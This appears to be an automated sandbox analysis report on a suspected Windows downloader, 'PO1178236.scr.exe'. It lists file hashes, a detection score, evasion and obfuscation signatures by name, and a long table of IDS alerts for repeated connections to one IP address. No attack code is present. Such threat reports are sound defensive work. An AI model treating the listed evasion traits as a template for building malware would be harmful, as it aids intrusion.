Edit tour

Windows Analysis Report
PO1178236.scr.exe

Overview

General Information

Sample name:	PO1178236.scr.exe
Analysis ID:	1586497
MD5:	d165a97582770739cc7b847e1b5dbeef
SHA1:	fa06c1014fa0810e3ea2cbc661e9bb443461ad9e
SHA256:	bf6aabd3c8fc42049fc6435f2432c97a8e8aa3258e0591b3756d5d84df2b3e6c
Tags:	exescruser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

.NET source code contains potential unpacker

AI detected suspicious sample

Machine Learning detection for sample

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

PO1178236.scr.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\PO1178236.scr.exe" MD5: D165A97582770739CC7B847E1B5DBEEF)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T08:28:21.665180+0100	2803305	3	Unknown Traffic	192.168.2.4	49731	188.114.96.3	443	TCP
2025-01-09T08:28:22.319666+0100	2803305	3	Unknown Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2025-01-09T08:28:22.916595+0100	2803305	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	443	TCP
2025-01-09T08:28:23.524792+0100	2803305	3	Unknown Traffic	192.168.2.4	49734	188.114.96.3	443	TCP
2025-01-09T08:28:24.103377+0100	2803305	3	Unknown Traffic	192.168.2.4	49735	188.114.96.3	443	TCP
2025-01-09T08:28:24.697782+0100	2803305	3	Unknown Traffic	192.168.2.4	49736	188.114.96.3	443	TCP
2025-01-09T08:28:25.317827+0100	2803305	3	Unknown Traffic	192.168.2.4	49737	188.114.96.3	443	TCP
2025-01-09T08:28:25.901582+0100	2803305	3	Unknown Traffic	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-09T08:28:26.529570+0100	2803305	3	Unknown Traffic	192.168.2.4	49739	188.114.96.3	443	TCP
2025-01-09T08:28:27.103333+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	188.114.96.3	443	TCP
2025-01-09T08:28:27.702350+0100	2803305	3	Unknown Traffic	192.168.2.4	49741	188.114.96.3	443	TCP
2025-01-09T08:28:28.356175+0100	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	443	TCP
2025-01-09T08:28:28.967531+0100	2803305	3	Unknown Traffic	192.168.2.4	49743	188.114.96.3	443	TCP
2025-01-09T08:28:29.557222+0100	2803305	3	Unknown Traffic	192.168.2.4	49744	188.114.96.3	443	TCP
2025-01-09T08:28:30.152925+0100	2803305	3	Unknown Traffic	192.168.2.4	49745	188.114.96.3	443	TCP
2025-01-09T08:28:30.761427+0100	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.96.3	443	TCP
2025-01-09T08:28:31.388579+0100	2803305	3	Unknown Traffic	192.168.2.4	49747	188.114.96.3	443	TCP
2025-01-09T08:28:31.996503+0100	2803305	3	Unknown Traffic	192.168.2.4	49748	188.114.96.3	443	TCP
2025-01-09T08:28:32.624735+0100	2803305	3	Unknown Traffic	192.168.2.4	49749	188.114.96.3	443	TCP
2025-01-09T08:28:33.251300+0100	2803305	3	Unknown Traffic	192.168.2.4	49750	188.114.96.3	443	TCP
2025-01-09T08:28:33.839274+0100	2803305	3	Unknown Traffic	192.168.2.4	49751	188.114.96.3	443	TCP
2025-01-09T08:28:34.432819+0100	2803305	3	Unknown Traffic	192.168.2.4	49752	188.114.96.3	443	TCP
2025-01-09T08:28:35.045572+0100	2803305	3	Unknown Traffic	192.168.2.4	49753	188.114.96.3	443	TCP
2025-01-09T08:28:35.670449+0100	2803305	3	Unknown Traffic	192.168.2.4	49754	188.114.96.3	443	TCP
2025-01-09T08:28:36.261095+0100	2803305	3	Unknown Traffic	192.168.2.4	49755	188.114.96.3	443	TCP
2025-01-09T08:28:36.853858+0100	2803305	3	Unknown Traffic	192.168.2.4	49756	188.114.96.3	443	TCP
2025-01-09T08:28:37.430617+0100	2803305	3	Unknown Traffic	192.168.2.4	49757	188.114.96.3	443	TCP
2025-01-09T08:28:38.037978+0100	2803305	3	Unknown Traffic	192.168.2.4	49759	188.114.96.3	443	TCP
2025-01-09T08:28:38.618070+0100	2803305	3	Unknown Traffic	192.168.2.4	49761	188.114.96.3	443	TCP
2025-01-09T08:28:39.331574+0100	2803305	3	Unknown Traffic	192.168.2.4	49764	188.114.96.3	443	TCP
2025-01-09T08:28:39.917147+0100	2803305	3	Unknown Traffic	192.168.2.4	49766	188.114.96.3	443	TCP
2025-01-09T08:28:40.545752+0100	2803305	3	Unknown Traffic	192.168.2.4	49767	188.114.96.3	443	TCP
2025-01-09T08:28:41.147178+0100	2803305	3	Unknown Traffic	192.168.2.4	49769	188.114.96.3	443	TCP
2025-01-09T08:28:41.781434+0100	2803305	3	Unknown Traffic	192.168.2.4	49770	188.114.96.3	443	TCP
2025-01-09T08:28:42.389678+0100	2803305	3	Unknown Traffic	192.168.2.4	49771	188.114.96.3	443	TCP
2025-01-09T08:28:42.993559+0100	2803305	3	Unknown Traffic	192.168.2.4	49772	188.114.96.3	443	TCP
2025-01-09T08:28:43.639306+0100	2803305	3	Unknown Traffic	192.168.2.4	49773	188.114.96.3	443	TCP
2025-01-09T08:28:44.249809+0100	2803305	3	Unknown Traffic	192.168.2.4	49774	188.114.96.3	443	TCP
2025-01-09T08:28:44.860550+0100	2803305	3	Unknown Traffic	192.168.2.4	49775	188.114.96.3	443	TCP
2025-01-09T08:28:45.462421+0100	2803305	3	Unknown Traffic	192.168.2.4	49776	188.114.96.3	443	TCP
2025-01-09T08:28:46.035795+0100	2803305	3	Unknown Traffic	192.168.2.4	49777	188.114.96.3	443	TCP
2025-01-09T08:28:46.636799+0100	2803305	3	Unknown Traffic	192.168.2.4	49778	188.114.96.3	443	TCP
2025-01-09T08:28:47.228302+0100	2803305	3	Unknown Traffic	192.168.2.4	49779	188.114.96.3	443	TCP
2025-01-09T08:28:47.822997+0100	2803305	3	Unknown Traffic	192.168.2.4	49780	188.114.96.3	443	TCP
2025-01-09T08:28:48.417779+0100	2803305	3	Unknown Traffic	192.168.2.4	49781	188.114.96.3	443	TCP
2025-01-09T08:28:49.028685+0100	2803305	3	Unknown Traffic	192.168.2.4	49782	188.114.96.3	443	TCP
2025-01-09T08:28:49.621332+0100	2803305	3	Unknown Traffic	192.168.2.4	49783	188.114.96.3	443	TCP
2025-01-09T08:28:50.249001+0100	2803305	3	Unknown Traffic	192.168.2.4	49784	188.114.96.3	443	TCP
2025-01-09T08:28:50.857637+0100	2803305	3	Unknown Traffic	192.168.2.4	49785	188.114.96.3	443	TCP
2025-01-09T08:28:51.484173+0100	2803305	3	Unknown Traffic	192.168.2.4	49786	188.114.96.3	443	TCP
2025-01-09T08:28:52.173163+0100	2803305	3	Unknown Traffic	192.168.2.4	49787	188.114.96.3	443	TCP
2025-01-09T08:28:52.808925+0100	2803305	3	Unknown Traffic	192.168.2.4	49788	188.114.96.3	443	TCP
2025-01-09T08:28:53.430063+0100	2803305	3	Unknown Traffic	192.168.2.4	49789	188.114.96.3	443	TCP
2025-01-09T08:28:54.035661+0100	2803305	3	Unknown Traffic	192.168.2.4	49790	188.114.96.3	443	TCP
2025-01-09T08:28:54.639227+0100	2803305	3	Unknown Traffic	192.168.2.4	49791	188.114.96.3	443	TCP
2025-01-09T08:28:55.231952+0100	2803305	3	Unknown Traffic	192.168.2.4	49792	188.114.96.3	443	TCP
2025-01-09T08:28:55.864470+0100	2803305	3	Unknown Traffic	192.168.2.4	49793	188.114.96.3	443	TCP
2025-01-09T08:28:56.485799+0100	2803305	3	Unknown Traffic	192.168.2.4	49794	188.114.96.3	443	TCP
2025-01-09T08:28:57.092698+0100	2803305	3	Unknown Traffic	192.168.2.4	49795	188.114.96.3	443	TCP
2025-01-09T08:28:57.701106+0100	2803305	3	Unknown Traffic	192.168.2.4	49796	188.114.96.3	443	TCP
2025-01-09T08:28:58.321209+0100	2803305	3	Unknown Traffic	192.168.2.4	49797	188.114.96.3	443	TCP
2025-01-09T08:28:58.919608+0100	2803305	3	Unknown Traffic	192.168.2.4	49798	188.114.96.3	443	TCP
2025-01-09T08:28:59.531524+0100	2803305	3	Unknown Traffic	192.168.2.4	49799	188.114.96.3	443	TCP
2025-01-09T08:29:00.137577+0100	2803305	3	Unknown Traffic	192.168.2.4	49800	188.114.96.3	443	TCP
2025-01-09T08:29:00.744588+0100	2803305	3	Unknown Traffic	192.168.2.4	49801	188.114.96.3	443	TCP
2025-01-09T08:29:01.357722+0100	2803305	3	Unknown Traffic	192.168.2.4	49802	188.114.96.3	443	TCP
2025-01-09T08:29:01.976786+0100	2803305	3	Unknown Traffic	192.168.2.4	49803	188.114.96.3	443	TCP
2025-01-09T08:29:02.608317+0100	2803305	3	Unknown Traffic	192.168.2.4	49804	188.114.96.3	443	TCP
2025-01-09T08:29:03.230908+0100	2803305	3	Unknown Traffic	192.168.2.4	49805	188.114.96.3	443	TCP
2025-01-09T08:29:03.824233+0100	2803305	3	Unknown Traffic	192.168.2.4	49806	188.114.96.3	443	TCP
2025-01-09T08:29:04.422548+0100	2803305	3	Unknown Traffic	192.168.2.4	49807	188.114.96.3	443	TCP
2025-01-09T08:29:05.024639+0100	2803305	3	Unknown Traffic	192.168.2.4	49808	188.114.96.3	443	TCP
2025-01-09T08:29:05.634256+0100	2803305	3	Unknown Traffic	192.168.2.4	49809	188.114.96.3	443	TCP
2025-01-09T08:29:06.261815+0100	2803305	3	Unknown Traffic	192.168.2.4	49810	188.114.96.3	443	TCP
2025-01-09T08:29:06.885062+0100	2803305	3	Unknown Traffic	192.168.2.4	49811	188.114.96.3	443	TCP
2025-01-09T08:29:07.497727+0100	2803305	3	Unknown Traffic	192.168.2.4	49812	188.114.96.3	443	TCP
2025-01-09T08:29:08.102073+0100	2803305	3	Unknown Traffic	192.168.2.4	49813	188.114.96.3	443	TCP
2025-01-09T08:29:08.701616+0100	2803305	3	Unknown Traffic	192.168.2.4	49814	188.114.96.3	443	TCP
2025-01-09T08:29:09.329516+0100	2803305	3	Unknown Traffic	192.168.2.4	49815	188.114.96.3	443	TCP
2025-01-09T08:29:09.943725+0100	2803305	3	Unknown Traffic	192.168.2.4	49816	188.114.96.3	443	TCP
2025-01-09T08:29:10.540948+0100	2803305	3	Unknown Traffic	192.168.2.4	49817	188.114.96.3	443	TCP
2025-01-09T08:29:11.229363+0100	2803305	3	Unknown Traffic	192.168.2.4	49818	188.114.96.3	443	TCP
2025-01-09T08:29:11.824340+0100	2803305	3	Unknown Traffic	192.168.2.4	49819	188.114.96.3	443	TCP
2025-01-09T08:29:12.531176+0100	2803305	3	Unknown Traffic	192.168.2.4	49820	188.114.96.3	443	TCP
2025-01-09T08:29:13.156827+0100	2803305	3	Unknown Traffic	192.168.2.4	49821	188.114.96.3	443	TCP
2025-01-09T08:29:13.762638+0100	2803305	3	Unknown Traffic	192.168.2.4	49822	188.114.96.3	443	TCP
2025-01-09T08:29:14.353418+0100	2803305	3	Unknown Traffic	192.168.2.4	49823	188.114.96.3	443	TCP
2025-01-09T08:29:14.965933+0100	2803305	3	Unknown Traffic	192.168.2.4	49825	188.114.96.3	443	TCP
2025-01-09T08:29:15.560253+0100	2803305	3	Unknown Traffic	192.168.2.4	49826	188.114.96.3	443	TCP
2025-01-09T08:29:16.191718+0100	2803305	3	Unknown Traffic	192.168.2.4	49832	188.114.96.3	443	TCP
2025-01-09T08:29:16.800212+0100	2803305	3	Unknown Traffic	192.168.2.4	49839	188.114.96.3	443	TCP
2025-01-09T08:29:17.417567+0100	2803305	3	Unknown Traffic	192.168.2.4	49845	188.114.96.3	443	TCP
2025-01-09T08:29:18.011810+0100	2803305	3	Unknown Traffic	192.168.2.4	49846	188.114.96.3	443	TCP
2025-01-09T08:29:18.628163+0100	2803305	3	Unknown Traffic	192.168.2.4	49852	188.114.96.3	443	TCP
2025-01-09T08:29:19.214713+0100	2803305	3	Unknown Traffic	192.168.2.4	49858	188.114.96.3	443	TCP
2025-01-09T08:29:19.841767+0100	2803305	3	Unknown Traffic	192.168.2.4	49863	188.114.96.3	443	TCP
2025-01-09T08:29:20.432646+0100	2803305	3	Unknown Traffic	192.168.2.4	49868	188.114.96.3	443	TCP
2025-01-09T08:29:21.054643+0100	2803305	3	Unknown Traffic	192.168.2.4	49871	188.114.96.3	443	TCP
2025-01-09T08:29:21.685543+0100	2803305	3	Unknown Traffic	192.168.2.4	49877	188.114.96.3	443	TCP
2025-01-09T08:29:22.277071+0100	2803305	3	Unknown Traffic	192.168.2.4	49883	188.114.96.3	443	TCP
2025-01-09T08:29:22.893117+0100	2803305	3	Unknown Traffic	192.168.2.4	49888	188.114.96.3	443	TCP
2025-01-09T08:29:23.478651+0100	2803305	3	Unknown Traffic	192.168.2.4	49894	188.114.96.3	443	TCP
2025-01-09T08:29:24.073365+0100	2803305	3	Unknown Traffic	192.168.2.4	49896	188.114.96.3	443	TCP
2025-01-09T08:29:24.686817+0100	2803305	3	Unknown Traffic	192.168.2.4	49902	188.114.96.3	443	TCP
2025-01-09T08:29:25.320389+0100	2803305	3	Unknown Traffic	192.168.2.4	49908	188.114.96.3	443	TCP
2025-01-09T08:29:26.000582+0100	2803305	3	Unknown Traffic	192.168.2.4	49911	188.114.96.3	443	TCP
2025-01-09T08:29:26.642880+0100	2803305	3	Unknown Traffic	192.168.2.4	49916	188.114.96.3	443	TCP
2025-01-09T08:29:27.265950+0100	2803305	3	Unknown Traffic	192.168.2.4	49922	188.114.96.3	443	TCP
2025-01-09T08:29:27.890463+0100	2803305	3	Unknown Traffic	192.168.2.4	49927	188.114.96.3	443	TCP
2025-01-09T08:29:28.516621+0100	2803305	3	Unknown Traffic	192.168.2.4	49933	188.114.96.3	443	TCP
2025-01-09T08:29:29.103585+0100	2803305	3	Unknown Traffic	192.168.2.4	49938	188.114.96.3	443	TCP
2025-01-09T08:29:29.716615+0100	2803305	3	Unknown Traffic	192.168.2.4	49941	188.114.96.3	443	TCP
2025-01-09T08:29:30.343810+0100	2803305	3	Unknown Traffic	192.168.2.4	49946	188.114.96.3	443	TCP
2025-01-09T08:29:30.932221+0100	2803305	3	Unknown Traffic	192.168.2.4	49952	188.114.96.3	443	TCP
2025-01-09T08:29:31.528574+0100	2803305	3	Unknown Traffic	192.168.2.4	49956	188.114.96.3	443	TCP
2025-01-09T08:29:32.138748+0100	2803305	3	Unknown Traffic	192.168.2.4	49962	188.114.96.3	443	TCP
2025-01-09T08:29:32.764129+0100	2803305	3	Unknown Traffic	192.168.2.4	49966	188.114.96.3	443	TCP
2025-01-09T08:29:33.355349+0100	2803305	3	Unknown Traffic	192.168.2.4	49971	188.114.96.3	443	TCP
2025-01-09T08:29:33.952911+0100	2803305	3	Unknown Traffic	192.168.2.4	49977	188.114.96.3	443	TCP
2025-01-09T08:29:34.563504+0100	2803305	3	Unknown Traffic	192.168.2.4	49982	188.114.96.3	443	TCP
2025-01-09T08:29:35.165680+0100	2803305	3	Unknown Traffic	192.168.2.4	49987	188.114.96.3	443	TCP
2025-01-09T08:29:35.746675+0100	2803305	3	Unknown Traffic	192.168.2.4	49991	188.114.96.3	443	TCP
2025-01-09T08:29:36.339283+0100	2803305	3	Unknown Traffic	192.168.2.4	49996	188.114.96.3	443	TCP
2025-01-09T08:29:36.932372+0100	2803305	3	Unknown Traffic	192.168.2.4	50001	188.114.96.3	443	TCP
2025-01-09T08:29:37.550558+0100	2803305	3	Unknown Traffic	192.168.2.4	50006	188.114.96.3	443	TCP
2025-01-09T08:29:38.151035+0100	2803305	3	Unknown Traffic	192.168.2.4	50012	188.114.96.3	443	TCP
2025-01-09T08:29:38.728618+0100	2803305	3	Unknown Traffic	192.168.2.4	50015	188.114.96.3	443	TCP
2025-01-09T08:29:39.353184+0100	2803305	3	Unknown Traffic	192.168.2.4	50021	188.114.96.3	443	TCP
2025-01-09T08:29:40.001805+0100	2803305	3	Unknown Traffic	192.168.2.4	50026	188.114.96.3	443	TCP
2025-01-09T08:29:40.592682+0100	2803305	3	Unknown Traffic	192.168.2.4	50031	188.114.96.3	443	TCP
2025-01-09T08:29:41.308707+0100	2803305	3	Unknown Traffic	192.168.2.4	50037	188.114.96.3	443	TCP
2025-01-09T08:29:41.901795+0100	2803305	3	Unknown Traffic	192.168.2.4	50040	188.114.96.3	443	TCP
2025-01-09T08:29:42.495332+0100	2803305	3	Unknown Traffic	192.168.2.4	50046	188.114.96.3	443	TCP
2025-01-09T08:29:43.110280+0100	2803305	3	Unknown Traffic	192.168.2.4	50052	188.114.96.3	443	TCP
2025-01-09T08:29:43.730477+0100	2803305	3	Unknown Traffic	192.168.2.4	50053	188.114.96.3	443	TCP
2025-01-09T08:29:44.344214+0100	2803305	3	Unknown Traffic	192.168.2.4	50059	188.114.96.3	443	TCP
2025-01-09T08:29:44.969030+0100	2803305	3	Unknown Traffic	192.168.2.4	50065	188.114.96.3	443	TCP
2025-01-09T08:29:45.577432+0100	2803305	3	Unknown Traffic	192.168.2.4	50071	188.114.96.3	443	TCP
2025-01-09T08:29:46.191962+0100	2803305	3	Unknown Traffic	192.168.2.4	50074	188.114.96.3	443	TCP
2025-01-09T08:29:46.807160+0100	2803305	3	Unknown Traffic	192.168.2.4	50078	188.114.96.3	443	TCP
2025-01-09T08:29:47.402802+0100	2803305	3	Unknown Traffic	192.168.2.4	50084	188.114.96.3	443	TCP
2025-01-09T08:29:48.006286+0100	2803305	3	Unknown Traffic	192.168.2.4	50090	188.114.96.3	443	TCP
2025-01-09T08:29:48.640157+0100	2803305	3	Unknown Traffic	192.168.2.4	50096	188.114.96.3	443	TCP
2025-01-09T08:29:49.251465+0100	2803305	3	Unknown Traffic	192.168.2.4	50099	188.114.96.3	443	TCP
2025-01-09T08:29:49.876603+0100	2803305	3	Unknown Traffic	192.168.2.4	50103	188.114.96.3	443	TCP
2025-01-09T08:29:50.484173+0100	2803305	3	Unknown Traffic	192.168.2.4	50109	188.114.96.3	443	TCP
2025-01-09T08:29:51.090059+0100	2803305	3	Unknown Traffic	192.168.2.4	50115	188.114.96.3	443	TCP
2025-01-09T08:29:51.737317+0100	2803305	3	Unknown Traffic	192.168.2.4	50121	188.114.96.3	443	TCP
2025-01-09T08:29:52.341632+0100	2803305	3	Unknown Traffic	192.168.2.4	50125	188.114.96.3	443	TCP
2025-01-09T08:29:53.097540+0100	2803305	3	Unknown Traffic	192.168.2.4	50129	188.114.96.3	443	TCP
2025-01-09T08:29:53.696785+0100	2803305	3	Unknown Traffic	192.168.2.4	50135	188.114.96.3	443	TCP
2025-01-09T08:29:54.277212+0100	2803305	3	Unknown Traffic	192.168.2.4	50141	188.114.96.3	443	TCP
2025-01-09T08:29:54.913689+0100	2803305	3	Unknown Traffic	192.168.2.4	50147	188.114.96.3	443	TCP
2025-01-09T08:29:55.492129+0100	2803305	3	Unknown Traffic	192.168.2.4	50153	188.114.96.3	443	TCP
2025-01-09T08:29:56.074458+0100	2803305	3	Unknown Traffic	192.168.2.4	50154	188.114.96.3	443	TCP
2025-01-09T08:29:56.661976+0100	2803305	3	Unknown Traffic	192.168.2.4	50159	188.114.96.3	443	TCP
2025-01-09T08:29:57.245536+0100	2803305	3	Unknown Traffic	192.168.2.4	50160	188.114.96.3	443	TCP
2025-01-09T08:29:57.843305+0100	2803305	3	Unknown Traffic	192.168.2.4	50161	188.114.96.3	443	TCP
2025-01-09T08:29:58.477953+0100	2803305	3	Unknown Traffic	192.168.2.4	50162	188.114.96.3	443	TCP
2025-01-09T08:29:59.057904+0100	2803305	3	Unknown Traffic	192.168.2.4	50163	188.114.96.3	443	TCP
2025-01-09T08:29:59.664173+0100	2803305	3	Unknown Traffic	192.168.2.4	50164	188.114.96.3	443	TCP
2025-01-09T08:30:00.290116+0100	2803305	3	Unknown Traffic	192.168.2.4	50165	188.114.96.3	443	TCP
2025-01-09T08:30:00.893020+0100	2803305	3	Unknown Traffic	192.168.2.4	50166	188.114.96.3	443	TCP
2025-01-09T08:30:01.481834+0100	2803305	3	Unknown Traffic	192.168.2.4	50167	188.114.96.3	443	TCP
2025-01-09T08:30:02.094225+0100	2803305	3	Unknown Traffic	192.168.2.4	50168	188.114.96.3	443	TCP
2025-01-09T08:30:02.719037+0100	2803305	3	Unknown Traffic	192.168.2.4	50169	188.114.96.3	443	TCP
2025-01-09T08:30:03.345289+0100	2803305	3	Unknown Traffic	192.168.2.4	50170	188.114.96.3	443	TCP
2025-01-09T08:30:03.952687+0100	2803305	3	Unknown Traffic	192.168.2.4	50171	188.114.96.3	443	TCP
2025-01-09T08:30:04.544841+0100	2803305	3	Unknown Traffic	192.168.2.4	50172	188.114.96.3	443	TCP
2025-01-09T08:30:05.174399+0100	2803305	3	Unknown Traffic	192.168.2.4	50173	188.114.96.3	443	TCP
2025-01-09T08:30:05.839720+0100	2803305	3	Unknown Traffic	192.168.2.4	50174	188.114.96.3	443	TCP
2025-01-09T08:30:06.432859+0100	2803305	3	Unknown Traffic	192.168.2.4	50175	188.114.96.3	443	TCP
2025-01-09T08:30:07.080231+0100	2803305	3	Unknown Traffic	192.168.2.4	50176	188.114.96.3	443	TCP
2025-01-09T08:30:07.735479+0100	2803305	3	Unknown Traffic	192.168.2.4	50177	188.114.96.3	443	TCP
2025-01-09T08:30:08.747528+0100	2803305	3	Unknown Traffic	192.168.2.4	50179	188.114.96.3	443	TCP
2025-01-09T08:30:09.370301+0100	2803305	3	Unknown Traffic	192.168.2.4	50180	188.114.96.3	443	TCP
2025-01-09T08:30:09.999397+0100	2803305	3	Unknown Traffic	192.168.2.4	50181	188.114.96.3	443	TCP
2025-01-09T08:30:10.606975+0100	2803305	3	Unknown Traffic	192.168.2.4	50182	188.114.96.3	443	TCP
2025-01-09T08:30:11.229330+0100	2803305	3	Unknown Traffic	192.168.2.4	50183	188.114.96.3	443	TCP
2025-01-09T08:30:11.823738+0100	2803305	3	Unknown Traffic	192.168.2.4	50184	188.114.96.3	443	TCP
2025-01-09T08:30:12.563404+0100	2803305	3	Unknown Traffic	192.168.2.4	50185	188.114.96.3	443	TCP
2025-01-09T08:30:13.186174+0100	2803305	3	Unknown Traffic	192.168.2.4	50186	188.114.96.3	443	TCP
2025-01-09T08:30:13.786630+0100	2803305	3	Unknown Traffic	192.168.2.4	50187	188.114.96.3	443	TCP
2025-01-09T08:30:14.410143+0100	2803305	3	Unknown Traffic	192.168.2.4	50188	188.114.96.3	443	TCP
2025-01-09T08:30:15.030910+0100	2803305	3	Unknown Traffic	192.168.2.4	50189	188.114.96.3	443	TCP
2025-01-09T08:30:15.657495+0100	2803305	3	Unknown Traffic	192.168.2.4	50190	188.114.96.3	443	TCP
2025-01-09T08:30:16.281006+0100	2803305	3	Unknown Traffic	192.168.2.4	50191	188.114.96.3	443	TCP
2025-01-09T08:30:17.012200+0100	2803305	3	Unknown Traffic	192.168.2.4	50193	188.114.96.3	443	TCP
2025-01-09T08:30:17.641582+0100	2803305	3	Unknown Traffic	192.168.2.4	50194	188.114.96.3	443	TCP
2025-01-09T08:30:18.230751+0100	2803305	3	Unknown Traffic	192.168.2.4	50195	188.114.96.3	443	TCP
2025-01-09T08:30:18.823987+0100	2803305	3	Unknown Traffic	192.168.2.4	50196	188.114.96.3	443	TCP
2025-01-09T08:30:19.404677+0100	2803305	3	Unknown Traffic	192.168.2.4	50197	188.114.96.3	443	TCP
2025-01-09T08:30:19.996490+0100	2803305	3	Unknown Traffic	192.168.2.4	50198	188.114.96.3	443	TCP
2025-01-09T08:30:20.617603+0100	2803305	3	Unknown Traffic	192.168.2.4	50199	188.114.96.3	443	TCP
2025-01-09T08:30:21.220294+0100	2803305	3	Unknown Traffic	192.168.2.4	50200	188.114.96.3	443	TCP
2025-01-09T08:30:21.841689+0100	2803305	3	Unknown Traffic	192.168.2.4	50201	188.114.96.3	443	TCP
2025-01-09T08:30:22.951394+0100	2803305	3	Unknown Traffic	192.168.2.4	50203	188.114.96.3	443	TCP
2025-01-09T08:30:23.546310+0100	2803305	3	Unknown Traffic	192.168.2.4	50204	188.114.96.3	443	TCP
2025-01-09T08:30:24.136301+0100	2803305	3	Unknown Traffic	192.168.2.4	50205	188.114.96.3	443	TCP
2025-01-09T08:30:24.730306+0100	2803305	3	Unknown Traffic	192.168.2.4	50206	188.114.96.3	443	TCP
2025-01-09T08:30:25.347639+0100	2803305	3	Unknown Traffic	192.168.2.4	50207	188.114.96.3	443	TCP
2025-01-09T08:30:25.934944+0100	2803305	3	Unknown Traffic	192.168.2.4	50208	188.114.96.3	443	TCP
2025-01-09T08:30:26.604261+0100	2803305	3	Unknown Traffic	192.168.2.4	50209	188.114.96.3	443	TCP
2025-01-09T08:30:27.221355+0100	2803305	3	Unknown Traffic	192.168.2.4	50210	188.114.96.3	443	TCP
2025-01-09T08:30:27.845348+0100	2803305	3	Unknown Traffic	192.168.2.4	50211	188.114.96.3	443	TCP
2025-01-09T08:30:28.433815+0100	2803305	3	Unknown Traffic	192.168.2.4	50212	188.114.96.3	443	TCP
2025-01-09T08:30:29.049414+0100	2803305	3	Unknown Traffic	192.168.2.4	50213	188.114.96.3	443	TCP
2025-01-09T08:30:29.639856+0100	2803305	3	Unknown Traffic	192.168.2.4	50214	188.114.96.3	443	TCP
2025-01-09T08:30:30.231685+0100	2803305	3	Unknown Traffic	192.168.2.4	50215	188.114.96.3	443	TCP
2025-01-09T08:30:30.839271+0100	2803305	3	Unknown Traffic	192.168.2.4	50216	188.114.96.3	443	TCP
2025-01-09T08:30:31.440735+0100	2803305	3	Unknown Traffic	192.168.2.4	50217	188.114.96.3	443	TCP
2025-01-09T08:30:32.061847+0100	2803305	3	Unknown Traffic	192.168.2.4	50218	188.114.96.3	443	TCP
2025-01-09T08:30:32.672987+0100	2803305	3	Unknown Traffic	192.168.2.4	50219	188.114.96.3	443	TCP
2025-01-09T08:30:33.283140+0100	2803305	3	Unknown Traffic	192.168.2.4	50220	188.114.96.3	443	TCP
2025-01-09T08:30:33.905140+0100	2803305	3	Unknown Traffic	192.168.2.4	50221	188.114.96.3	443	TCP
2025-01-09T08:30:34.481312+0100	2803305	3	Unknown Traffic	192.168.2.4	50222	188.114.96.3	443	TCP
2025-01-09T08:30:35.077872+0100	2803305	3	Unknown Traffic	192.168.2.4	50223	188.114.96.3	443	TCP
2025-01-09T08:30:35.679588+0100	2803305	3	Unknown Traffic	192.168.2.4	50224	188.114.96.3	443	TCP
2025-01-09T08:30:36.282386+0100	2803305	3	Unknown Traffic	192.168.2.4	50225	188.114.96.3	443	TCP
2025-01-09T08:30:36.857695+0100	2803305	3	Unknown Traffic	192.168.2.4	50226	188.114.96.3	443	TCP
2025-01-09T08:30:37.487636+0100	2803305	3	Unknown Traffic	192.168.2.4	50227	188.114.96.3	443	TCP
2025-01-09T08:30:38.375035+0100	2803305	3	Unknown Traffic	192.168.2.4	50229	188.114.96.3	443	TCP
2025-01-09T08:30:39.002834+0100	2803305	3	Unknown Traffic	192.168.2.4	50230	188.114.96.3	443	TCP
2025-01-09T08:30:39.591893+0100	2803305	3	Unknown Traffic	192.168.2.4	50231	188.114.96.3	443	TCP
2025-01-09T08:30:40.169006+0100	2803305	3	Unknown Traffic	192.168.2.4	50232	188.114.96.3	443	TCP
2025-01-09T08:30:40.782918+0100	2803305	3	Unknown Traffic	192.168.2.4	50233	188.114.96.3	443	TCP
2025-01-09T08:30:41.684853+0100	2803305	3	Unknown Traffic	192.168.2.4	50234	188.114.96.3	443	TCP
2025-01-09T08:30:42.263684+0100	2803305	3	Unknown Traffic	192.168.2.4	50235	188.114.96.3	443	TCP
2025-01-09T08:30:42.886682+0100	2803305	3	Unknown Traffic	192.168.2.4	50236	188.114.96.3	443	TCP
2025-01-09T08:30:43.523775+0100	2803305	3	Unknown Traffic	192.168.2.4	50237	188.114.96.3	443	TCP
2025-01-09T08:30:44.125650+0100	2803305	3	Unknown Traffic	192.168.2.4	50238	188.114.96.3	443	TCP
2025-01-09T08:30:44.716688+0100	2803305	3	Unknown Traffic	192.168.2.4	50239	188.114.96.3	443	TCP
2025-01-09T08:30:45.321923+0100	2803305	3	Unknown Traffic	192.168.2.4	50240	188.114.96.3	443	TCP
2025-01-09T08:30:45.939017+0100	2803305	3	Unknown Traffic	192.168.2.4	50241	188.114.96.3	443	TCP
2025-01-09T08:30:46.531011+0100	2803305	3	Unknown Traffic	192.168.2.4	50242	188.114.96.3	443	TCP
2025-01-09T08:30:47.123830+0100	2803305	3	Unknown Traffic	192.168.2.4	50243	188.114.96.3	443	TCP
2025-01-09T08:30:47.699540+0100	2803305	3	Unknown Traffic	192.168.2.4	50244	188.114.96.3	443	TCP
2025-01-09T08:30:48.352992+0100	2803305	3	Unknown Traffic	192.168.2.4	50245	188.114.96.3	443	TCP
2025-01-09T08:30:49.184288+0100	2803305	3	Unknown Traffic	192.168.2.4	50246	188.114.96.3	443	TCP
2025-01-09T08:30:49.709796+0100	2803305	3	Unknown Traffic	192.168.2.4	50247	188.114.96.3	443	TCP
